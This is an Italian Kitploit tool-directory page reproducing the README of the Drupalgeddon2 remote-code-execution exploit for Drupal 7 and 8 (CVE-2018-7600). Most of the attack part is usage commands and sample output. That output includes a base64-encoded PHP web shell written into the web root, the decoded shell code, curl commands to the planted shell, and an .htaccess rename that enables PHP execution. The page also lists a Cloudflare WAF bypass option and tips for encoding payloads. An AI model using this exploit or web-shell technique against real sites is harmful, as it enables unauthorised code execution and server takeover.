Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Drupalgeddon2 — Exploit per Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Strumenti/GitHubGitHub/dreadlocked/drupalgeddon2
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration Testing
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit per Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Vedi Repository
600169235 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, attaccando il parametro account/mail e #post_render, utilizzando la funzione PHP passthru
  • Drupal < 7.58 ~ URL user/password, attaccando il form triggering_element_name e il parametro #post_render, utilizzando la funzione PHP
passthru
  • Funziona con comandi diretti (metodo senza file) o scrive una shell PHP nella root web (./) o in sottodirectory (./sites/default/ e ./sites/default/files/)
  • Supporta target Linux e Windows
  • Rileva automaticamente la versione di Drupal (o fa una buona ipotesi!)
  • Il metodo user/register è stato scelto per Drupal v8.x, poiché restituisce HTTP 200 e visualizza l'output nella risposta JSON data (de-commentare il codice per il metodo timezone/#lazy_builder, che restituirà HTTP 500 & cieco!) (Maggiori informazioni)

    Autori:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Note:

    • Per utenti/configurazioni avanzati esiste un exploit più personalizzabile. Vedi la sezione drupalgeddon2-customizable-beta.rb
    • Prima di aprire un issue, per favore, leggi la sezione di risoluzione dei problemi alla fine. Grazie!

    Utilizzo:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    I parametri --verbose e --authentication possono essere aggiunti in qualsiasi ordine dopo e sono entrambi opzionali. Se viene specificato --authentication, verrà richiesto di fornire

    • nome utente,
    • password,
    • nome del campo del form per il nome utente,
    • nome del campo del form per la password,
    • percorso URL della pagina di login web, es. user/login
    • eventuale suffisso da aggiungere dopo le credenziali nell'invio del form, es. form_id, ecc.

    Questo serve per supportare lo sfruttamento di siti web che richiedono prima un login web basato su POST e che rispondono con un cookie di sessione, dopo l'autenticazione riuscita.

    Esempio Drupal v8.x

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Esempio Drupal v7.x

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Comandi Diretti / Shell Non PHP (metodo senza file)

    Se non vuoi nemmeno provare a scrivere una shell web PHP sul web server, modifica il file come mostrato (in caso contrario, ricadrà se non riesce a trovare una posizione scrivibile):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Esempio

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Supporto Proxy

    Per il supporto proxy (es. Burp), modifica il file, sostituendo con i tuoi valori. Esempio:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Sperimentale ma utilizzabile: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb è pensato per utenti più avanzati in quanto è più personalizzabile. Permette di specificare alcuni parametri aggiuntivi come il metodo PHP da utilizzare (non solo system() o passthru()) e il modo per raggiungere il form utente/password.

    Esempi di utilizzo:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Risoluzione dei problemi:

    • Ogni volta che si ottiene un errore di tipo cannot load such file "LoadError", esegui sudo gem install <dipendenza mancante>. In particolare, potresti aver bisogno di installare la dipendenza highline con sudo gem install highline

    • Il target potrebbe reindirizzare a un altro percorso, dove esiste Drupal (come risposte HTTP 30x)

      • Soluzione: Assicurati di utilizzare il percorso corretto di Drupal
    • C'è una limitazione dei caratteri consentiti che possono essere usati nel payload/comando

      • Soluzione: Ciò è dovuto a come la vulnerabilità li vede e vengono codificati per la richiesta URL. Codifica il payload, decodificalo sul target. Ad esempio base64
    • Se il target è Linux e non utilizza "GNU base64", potrebbe essere la versione BSD (o non è installato affatto!)

      • Soluzione: usa base64 -D (invece di base64 -d) o usa il metodo senza file
    • Se il target utilizza Windows, la scrittura della shell PHP fallisce sempre

      • Soluzione: Usa il metodo senza file. Questo perché viene reindirizzato a un programma unix, invece di usare certutil o PowerShell
    • Drupal v8.x - ./.htaccess impedirà l'esecuzione di qualsiasi script PHP in ./sites/default/ se quella è la cartella scrivibile

      • Soluzione: Passa al metodo senza file
    • Drupal v8.x - "clean URL" non è abilitato sul target

      • Soluzione: N/D - Non vulnerabile =(
    • Drupal v7.x - Se il form /user/password è disabilitato, devi trovare un altro form (ricordati di cambiare l'exploit!)

      • Soluzione: Il parametro form_id cambierà a seconda del form utilizzato per sfruttare la vulnerabilità

    Collegamenti:

    • Avviso Drupal SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Articolo e Ricerca ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • Comandi cURL/esempio PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Scarica lo strumento